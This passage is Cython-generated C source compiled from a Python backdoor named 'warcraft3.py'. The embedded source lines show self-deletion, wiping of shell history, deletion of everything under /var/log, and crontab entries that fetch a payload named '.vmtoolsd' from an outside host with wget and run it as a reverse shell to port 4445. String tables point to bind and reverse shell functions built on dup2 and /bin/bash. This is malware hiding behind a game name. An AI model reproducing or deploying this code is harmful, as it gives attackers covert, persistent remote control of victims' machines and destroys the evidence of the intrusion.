  3019. return __pyx_r;
  3020. }
  3021. /* "warcraft3.py":60
  3022. * exit(0)
  3023. *
  3024. * def deleteSelf(): # <<<<<<<<<<<<<<
  3025. * ''''''
  3026. * filename = os.getcwd()+"/warcraft3"
  3027. */
  3028. /* Python wrapper */
  3029. static PyObject *__pyx_pw_9warcraft3_7deleteSelf(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
  3030. static char __pyx_doc_9warcraft3_6deleteSelf[] = "\350\207\252\345\210\240\351\231\244\346\226\207\344\273\266";
  3031. static PyMethodDef __pyx_mdef_9warcraft3_7deleteSelf = {"deleteSelf", (PyCFunction)__pyx_pw_9warcraft3_7deleteSelf, METH_NOARGS, __pyx_doc_9warcraft3_6deleteSelf};
  3032. static PyObject *__pyx_pw_9warcraft3_7deleteSelf(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  3033. PyObject *__pyx_r = 0;
  3034. __Pyx_RefNannyDeclarations
  3035. __Pyx_RefNannySetupContext("deleteSelf (wrapper)", 0);
  3036. __pyx_r = __pyx_pf_9warcraft3_6deleteSelf(__pyx_self);
  3037. /* function exit code */
  3038. __Pyx_RefNannyFinishContext();
  3039. return __pyx_r;
  3040. }
  3041. static PyObject *__pyx_pf_9warcraft3_6deleteSelf(CYTHON_UNUSED PyObject *__pyx_self) {
  3042. PyObject *__pyx_v_filename = NULL;
  3043. PyObject *__pyx_r = NULL;
  3044. __Pyx_RefNannyDeclarations
  3045. PyObject *__pyx_t_1 = NULL;
  3046. PyObject *__pyx_t_2 = NULL;
  3047. PyObject *__pyx_t_3 = NULL;
  3048. PyObject *__pyx_t_4 = NULL;
  3049. __Pyx_RefNannySetupContext("deleteSelf", 0);
  3050. /* "warcraft3.py":62
  3051. * def deleteSelf():
  3052. * ''''''
  3053. * filename = os.getcwd()+"/warcraft3" # <<<<<<<<<<<<<<
  3054. * os.remove(filename)
  3055. *
  3056. */
  3057. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error)
  3058. __Pyx_GOTREF(__pyx_t_2);
  3059. __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_getcwd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error)
  3060. __Pyx_GOTREF(__pyx_t_3);
  3061. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3062. __pyx_t_2 = NULL;
  3063. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) {
  3064. __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3);
  3065. if (likely(__pyx_t_2)) {
  3066. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3);
  3067. __Pyx_INCREF(__pyx_t_2);
  3068. __Pyx_INCREF(function);
  3069. __Pyx_DECREF_SET(__pyx_t_3, function);
  3070. }
  3071. }
  3072. if (__pyx_t_2) {
  3073. __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error)
  3074. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3075. } else {
  3076. __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error)
  3077. }
  3078. __Pyx_GOTREF(__pyx_t_1);
  3079. __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  3080. __pyx_t_3 = PyNumber_Add(__pyx_t_1, __pyx_kp_s_warcraft3_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error)
  3081. __Pyx_GOTREF(__pyx_t_3);
  3082. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3083. __pyx_v_filename = __pyx_t_3;
  3084. __pyx_t_3 = 0;
  3085. /* "warcraft3.py":63
  3086. * ''''''
  3087. * filename = os.getcwd()+"/warcraft3"
  3088. * os.remove(filename) # <<<<<<<<<<<<<<
  3089. *
  3090. * def unsetLog():
  3091. */
  3092. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error)
  3093. __Pyx_GOTREF(__pyx_t_1);
  3094. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_remove); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 63, __pyx_L1_error)
  3095. __Pyx_GOTREF(__pyx_t_2);
  3096. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3097. __pyx_t_1 = NULL;
  3098. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
  3099. __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2);
  3100. if (likely(__pyx_t_1)) {
  3101. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
  3102. __Pyx_INCREF(__pyx_t_1);
  3103. __Pyx_INCREF(function);
  3104. __Pyx_DECREF_SET(__pyx_t_2, function);
  3105. }
  3106. }
  3107. if (!__pyx_t_1) {
  3108. __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v_filename); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error)
  3109. __Pyx_GOTREF(__pyx_t_3);
  3110. } else {
  3111. #if CYTHON_FAST_PYCALL
  3112. if (PyFunction_Check(__pyx_t_2)) {
  3113. PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_filename};
  3114. __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error)
  3115. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  3116. __Pyx_GOTREF(__pyx_t_3);
  3117. } else
  3118. #endif
  3119. #if CYTHON_FAST_PYCCALL
  3120. if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) {
  3121. PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_filename};
  3122. __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error)
  3123. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  3124. __Pyx_GOTREF(__pyx_t_3);
  3125. } else
  3126. #endif
  3127. {
  3128. __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 63, __pyx_L1_error)
  3129. __Pyx_GOTREF(__pyx_t_4);
  3130. __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL;
  3131. __Pyx_INCREF(__pyx_v_filename);
  3132. __Pyx_GIVEREF(__pyx_v_filename);
  3133. PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_filename);
  3134. __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error)
  3135. __Pyx_GOTREF(__pyx_t_3);
  3136. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  3137. }
  3138. }
  3139. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3140. __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  3141. /* "warcraft3.py":60
  3142. * exit(0)
  3143. *
  3144. * def deleteSelf(): # <<<<<<<<<<<<<<
  3145. * ''''''
  3146. * filename = os.getcwd()+"/warcraft3"
  3147. */
  3148. /* function exit code */
  3149. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  3150. goto __pyx_L0;
  3151. __pyx_L1_error:;
  3152. __Pyx_XDECREF(__pyx_t_1);
  3153. __Pyx_XDECREF(__pyx_t_2);
  3154. __Pyx_XDECREF(__pyx_t_3);
  3155. __Pyx_XDECREF(__pyx_t_4);
  3156. __Pyx_AddTraceback("warcraft3.deleteSelf", __pyx_clineno, __pyx_lineno, __pyx_filename);
  3157. __pyx_r = NULL;
  3158. __pyx_L0:;
  3159. __Pyx_XDECREF(__pyx_v_filename);
  3160. __Pyx_XGIVEREF(__pyx_r);
  3161. __Pyx_RefNannyFinishContext();
  3162. return __pyx_r;
  3163. }
  3164. /* "warcraft3.py":65
  3165. * os.remove(filename)
  3166. *
  3167. * def unsetLog(): # <<<<<<<<<<<<<<
  3168. * ''''''
  3169. * os.popen("unset history")
  3170. */
  3171. /* Python wrapper */
  3172. static PyObject *__pyx_pw_9warcraft3_9unsetLog(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
  3173. static char __pyx_doc_9warcraft3_8unsetLog[] = "\345\201\234\346\255\242\345\217\243\344\273\244\350\256\260\345\275\225";
  3174. static PyMethodDef __pyx_mdef_9warcraft3_9unsetLog = {"unsetLog", (PyCFunction)__pyx_pw_9warcraft3_9unsetLog, METH_NOARGS, __pyx_doc_9warcraft3_8unsetLog};
  3175. static PyObject *__pyx_pw_9warcraft3_9unsetLog(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  3176. PyObject *__pyx_r = 0;
  3177. __Pyx_RefNannyDeclarations
  3178. __Pyx_RefNannySetupContext("unsetLog (wrapper)", 0);
  3179. __pyx_r = __pyx_pf_9warcraft3_8unsetLog(__pyx_self);
  3180. /* function exit code */
  3181. __Pyx_RefNannyFinishContext();
  3182. return __pyx_r;
  3183. }
  3184. static PyObject *__pyx_pf_9warcraft3_8unsetLog(CYTHON_UNUSED PyObject *__pyx_self) {
  3185. PyObject *__pyx_r = NULL;
  3186. __Pyx_RefNannyDeclarations
  3187. PyObject *__pyx_t_1 = NULL;
  3188. PyObject *__pyx_t_2 = NULL;
  3189. __Pyx_RefNannySetupContext("unsetLog", 0);
  3190. /* "warcraft3.py":67
  3191. * def unsetLog():
  3192. * ''''''
  3193. * os.popen("unset history") # <<<<<<<<<<<<<<
  3194. *
  3195. * def clearLog():
  3196. */
  3197. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error)
  3198. __Pyx_GOTREF(__pyx_t_1);
  3199. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error)
  3200. __Pyx_GOTREF(__pyx_t_2);
  3201. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3202. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error)
  3203. __Pyx_GOTREF(__pyx_t_1);
  3204. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3205. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3206. /* "warcraft3.py":65
  3207. * os.remove(filename)
  3208. *
  3209. * def unsetLog(): # <<<<<<<<<<<<<<
  3210. * ''''''
  3211. * os.popen("unset history")
  3212. */
  3213. /* function exit code */
  3214. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  3215. goto __pyx_L0;
  3216. __pyx_L1_error:;
  3217. __Pyx_XDECREF(__pyx_t_1);
  3218. __Pyx_XDECREF(__pyx_t_2);
  3219. __Pyx_AddTraceback("warcraft3.unsetLog", __pyx_clineno, __pyx_lineno, __pyx_filename);
  3220. __pyx_r = NULL;
  3221. __pyx_L0:;
  3222. __Pyx_XGIVEREF(__pyx_r);
  3223. __Pyx_RefNannyFinishContext();
  3224. return __pyx_r;
  3225. }
  3226. /* "warcraft3.py":69
  3227. * os.popen("unset history")
  3228. *
  3229. * def clearLog(): # <<<<<<<<<<<<<<
  3230. * ''''''
  3231. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  3232. */
  3233. /* Python wrapper */
  3234. static PyObject *__pyx_pw_9warcraft3_11clearLog(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
  3235. static char __pyx_doc_9warcraft3_10clearLog[] = "\346\270\205\351\231\244\346\227\245\345\277\227";
  3236. static PyMethodDef __pyx_mdef_9warcraft3_11clearLog = {"clearLog", (PyCFunction)__pyx_pw_9warcraft3_11clearLog, METH_NOARGS, __pyx_doc_9warcraft3_10clearLog};
  3237. static PyObject *__pyx_pw_9warcraft3_11clearLog(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  3238. PyObject *__pyx_r = 0;
  3239. __Pyx_RefNannyDeclarations
  3240. __Pyx_RefNannySetupContext("clearLog (wrapper)", 0);
  3241. __pyx_r = __pyx_pf_9warcraft3_10clearLog(__pyx_self);
  3242. /* function exit code */
  3243. __Pyx_RefNannyFinishContext();
  3244. return __pyx_r;
  3245. }
  3246. static PyObject *__pyx_pf_9warcraft3_10clearLog(CYTHON_UNUSED PyObject *__pyx_self) {
  3247. PyObject *__pyx_r = NULL;
  3248. __Pyx_RefNannyDeclarations
  3249. PyObject *__pyx_t_1 = NULL;
  3250. PyObject *__pyx_t_2 = NULL;
  3251. __Pyx_RefNannySetupContext("clearLog", 0);
  3252. /* "warcraft3.py":71
  3253. * def clearLog():
  3254. * ''''''
  3255. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*") # <<<<<<<<<<<<<<
  3256. * os.popen("echo '' > ~/.bash_history")
  3257. *
  3258. */
  3259. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error)
  3260. __Pyx_GOTREF(__pyx_t_1);
  3261. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error)
  3262. __Pyx_GOTREF(__pyx_t_2);
  3263. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3264. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error)
  3265. __Pyx_GOTREF(__pyx_t_1);
  3266. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3267. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3268. /* "warcraft3.py":72
  3269. * ''''''
  3270. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  3271. * os.popen("echo '' > ~/.bash_history") # <<<<<<<<<<<<<<
  3272. *
  3273. * def appendCrontab():
  3274. */
  3275. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error)
  3276. __Pyx_GOTREF(__pyx_t_1);
  3277. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error)
  3278. __Pyx_GOTREF(__pyx_t_2);
  3279. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3280. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error)
  3281. __Pyx_GOTREF(__pyx_t_1);
  3282. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3283. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3284. /* "warcraft3.py":69
  3285. * os.popen("unset history")
  3286. *
  3287. * def clearLog(): # <<<<<<<<<<<<<<
  3288. * ''''''
  3289. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  3290. */
  3291. /* function exit code */
  3292. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  3293. goto __pyx_L0;
  3294. __pyx_L1_error:;
  3295. __Pyx_XDECREF(__pyx_t_1);
  3296. __Pyx_XDECREF(__pyx_t_2);
  3297. __Pyx_AddTraceback("warcraft3.clearLog", __pyx_clineno, __pyx_lineno, __pyx_filename);
  3298. __pyx_r = NULL;
  3299. __pyx_L0:;
  3300. __Pyx_XGIVEREF(__pyx_r);
  3301. __Pyx_RefNannyFinishContext();
  3302. return __pyx_r;
  3303. }
  3304. /* "warcraft3.py":74
  3305. * os.popen("echo '' > ~/.bash_history")
  3306. *
  3307. * def appendCrontab(): # <<<<<<<<<<<<<<
  3308. * ''''''
  3309. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3310. */
  3311. /* Python wrapper */
  3312. static PyObject *__pyx_pw_9warcraft3_13appendCrontab(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
  3313. static char __pyx_doc_9warcraft3_12appendCrontab[] = "\345\242\236\345\212\240\350\256\241\345\210\222\344\273\273\345\212\241";
  3314. static PyMethodDef __pyx_mdef_9warcraft3_13appendCrontab = {"appendCrontab", (PyCFunction)__pyx_pw_9warcraft3_13appendCrontab, METH_NOARGS, __pyx_doc_9warcraft3_12appendCrontab};
  3315. static PyObject *__pyx_pw_9warcraft3_13appendCrontab(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  3316. PyObject *__pyx_r = 0;
  3317. __Pyx_RefNannyDeclarations
  3318. __Pyx_RefNannySetupContext("appendCrontab (wrapper)", 0);
  3319. __pyx_r = __pyx_pf_9warcraft3_12appendCrontab(__pyx_self);
  3320. /* function exit code */
  3321. __Pyx_RefNannyFinishContext();
  3322. return __pyx_r;
  3323. }
  3324. static PyObject *__pyx_pf_9warcraft3_12appendCrontab(CYTHON_UNUSED PyObject *__pyx_self) {
  3325. PyObject *__pyx_r = NULL;
  3326. __Pyx_RefNannyDeclarations
  3327. PyObject *__pyx_t_1 = NULL;
  3328. PyObject *__pyx_t_2 = NULL;
  3329. __Pyx_RefNannySetupContext("appendCrontab", 0);
  3330. /* "warcraft3.py":76
  3331. * def appendCrontab():
  3332. * ''''''
  3333. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab") # <<<<<<<<<<<<<<
  3334. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3335. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3336. */
  3337. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error)
  3338. __Pyx_GOTREF(__pyx_t_1);
  3339. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error)
  3340. __Pyx_GOTREF(__pyx_t_2);
  3341. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3342. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error)
  3343. __Pyx_GOTREF(__pyx_t_1);
  3344. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3345. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3346. /* "warcraft3.py":77
  3347. * ''''''
  3348. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3349. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab") # <<<<<<<<<<<<<<
  3350. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3351. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
  3352. */
  3353. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error)
  3354. __Pyx_GOTREF(__pyx_t_1);
  3355. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error)
  3356. __Pyx_GOTREF(__pyx_t_2);
  3357. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3358. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error)
  3359. __Pyx_GOTREF(__pyx_t_1);
  3360. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3361. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3362. /* "warcraft3.py":78
  3363. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3364. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3365. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab") # <<<<<<<<<<<<<<
  3366. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
  3367. *
  3368. */
  3369. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error)
  3370. __Pyx_GOTREF(__pyx_t_1);
  3371. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error)
  3372. __Pyx_GOTREF(__pyx_t_2);
  3373. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3374. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error)
  3375. __Pyx_GOTREF(__pyx_t_1);
  3376. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3377. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3378. /* "warcraft3.py":79
  3379. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3380. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3381. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab") # <<<<<<<<<<<<<<
  3382. *
  3383. * #
  3384. */
  3385. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error)
  3386. __Pyx_GOTREF(__pyx_t_1);
  3387. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_popen); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error)
  3388. __Pyx_GOTREF(__pyx_t_2);
  3389. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3390. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__14, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error)
  3391. __Pyx_GOTREF(__pyx_t_1);
  3392. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3393. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3394. /* "warcraft3.py":74
  3395. * os.popen("echo '' > ~/.bash_history")
  3396. *
  3397. * def appendCrontab(): # <<<<<<<<<<<<<<
  3398. * ''''''
  3399. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3400. */
  3401. /* function exit code */
  3402. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  3403. goto __pyx_L0;
  3404. __pyx_L1_error:;
  3405. __Pyx_XDECREF(__pyx_t_1);
  3406. __Pyx_XDECREF(__pyx_t_2);
  3407. __Pyx_AddTraceback("warcraft3.appendCrontab", __pyx_clineno, __pyx_lineno, __pyx_filename);
  3408. __pyx_r = NULL;
  3409. __pyx_L0:;
  3410. __Pyx_XGIVEREF(__pyx_r);
  3411. __Pyx_RefNannyFinishContext();
  3412. return __pyx_r;
  3413. }
  3414. static PyMethodDef __pyx_methods[] = {
  3415. {0, 0, 0, 0}
  3416. };
  3417. #if PY_MAJOR_VERSION >= 3
  3418. static struct PyModuleDef __pyx_moduledef = {
  3419. #if PY_VERSION_HEX < 0x03020000
  3420. { PyObject_HEAD_INIT(NULL) NULL, 0, NULL },
  3421. #else
  3422. PyModuleDef_HEAD_INIT,
  3423. #endif
  3424. "warcraft3",
  3425. 0, /* m_doc */
  3426. -1, /* m_size */
  3427. __pyx_methods /* m_methods */,
  3428. NULL, /* m_reload */
  3429. NULL, /* m_traverse */
  3430. NULL, /* m_clear */
  3431. NULL /* m_free */
  3432. };
  3433. #endif
  3434. static __Pyx_StringTabEntry __pyx_string_tab[] = {
  3435. {&__pyx_n_s_AF_INET, __pyx_k_AF_INET, sizeof(__pyx_k_AF_INET), 0, 0, 1, 1},
  3436. {&__pyx_n_s_BindConnect, __pyx_k_BindConnect, sizeof(__pyx_k_BindConnect), 0, 0, 1, 1},
  3437. {&__pyx_kp_s_Failed_to_Create_Shell_s, __pyx_k_Failed_to_Create_Shell_s, sizeof(__pyx_k_Failed_to_Create_Shell_s), 0, 0, 1, 0},
  3438. {&__pyx_kp_s_Failed_to_Create_Socket_s, __pyx_k_Failed_to_Create_Socket_s, sizeof(__pyx_k_Failed_to_Create_Socket_s), 0, 0, 1, 0},
  3439. {&__pyx_n_s_LOCK_EX, __pyx_k_LOCK_EX, sizeof(__pyx_k_LOCK_EX), 0, 0, 1, 1},
  3440. {&__pyx_n_s_LOCK_NB, __pyx_k_LOCK_NB, sizeof(__pyx_k_LOCK_NB), 0, 0, 1, 1},
  3441. {&__pyx_n_s_OptionParser, __pyx_k_OptionParser, sizeof(__pyx_k_OptionParser), 0, 0, 1, 1},
  3442. {&__pyx_n_s_ReserveConnect, __pyx_k_ReserveConnect, sizeof(__pyx_k_ReserveConnect), 0, 0, 1, 1},
  3443. {&__pyx_n_s_SOCK_STREAM, __pyx_k_SOCK_STREAM, sizeof(__pyx_k_SOCK_STREAM), 0, 0, 1, 1},
  3444. {&__pyx_n_s_SingletonRunning, __pyx_k_SingletonRunning, sizeof(__pyx_k_SingletonRunning), 0, 0, 1, 1},
  3445. {&__pyx_kp_s_There_is_another_shell_is_runni, __pyx_k_There_is_another_shell_is_runni, sizeof(__pyx_k_There_is_another_shell_is_runni), 0, 0, 1, 0},
  3446. {&__pyx_kp_s_a, __pyx_k_a, sizeof(__pyx_k_a), 0, 0, 1, 0},
  3447. {&__pyx_n_s_accept, __pyx_k_accept, sizeof(__pyx_k_accept), 0, 0, 1, 1},
  3448. {&__pyx_n_s_action, __pyx_k_action, sizeof(__pyx_k_action), 0, 0, 1, 1},
  3449. {&__pyx_n_s_add_option, __pyx_k_add_option, sizeof(__pyx_k_add_option), 0, 0, 1, 1},
  3450. {&__pyx_n_s_addr, __pyx_k_addr, sizeof(__pyx_k_addr), 0, 0, 1, 1},
  3451. {&__pyx_kp_s_addr_2, __pyx_k_addr_2, sizeof(__pyx_k_addr_2), 0, 0, 1, 0},
  3452. {&__pyx_n_s_appendCrontab, __pyx_k_appendCrontab, sizeof(__pyx_k_appendCrontab), 0, 0, 1, 1},
  3453. {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1},
  3454. {&__pyx_kp_s_b, __pyx_k_b, sizeof(__pyx_k_b), 0, 0, 1, 0},
  3455. {&__pyx_kp_s_bin_bash, __pyx_k_bin_bash, sizeof(__pyx_k_bin_bash), 0, 0, 1, 0},
  3456. {&__pyx_n_s_bind, __pyx_k_bind, sizeof(__pyx_k_bind), 0, 0, 1, 1},
  3457. {&__pyx_kp_s_bind_2, __pyx_k_bind_2, sizeof(__pyx_k_bind_2), 0, 0, 1, 0},
  3458. {&__pyx_n_s_call, __pyx_k_call, sizeof(__pyx_k_call), 0, 0, 1, 1},
  3459. {&__pyx_n_s_clearLog, __pyx_k_clearLog, sizeof(__pyx_k_clearLog), 0, 0, 1, 1},
  3460. {&__pyx_n_s_client, __pyx_k_client, sizeof(__pyx_k_client), 0, 0, 1, 1},
  3461. {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1},
  3462. {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1},
  3463. {&__pyx_n_s_deleteSelf, __pyx_k_deleteSelf, sizeof(__pyx_k_deleteSelf), 0, 0, 1, 1},
  3464. {&__pyx_n_s_dest, __pyx_k_dest, sizeof(__pyx_k_dest), 0, 0, 1, 1},
  3465. {&__pyx_n_s_dup2, __pyx_k_dup2, sizeof(__pyx_k_dup2), 0, 0, 1, 1},
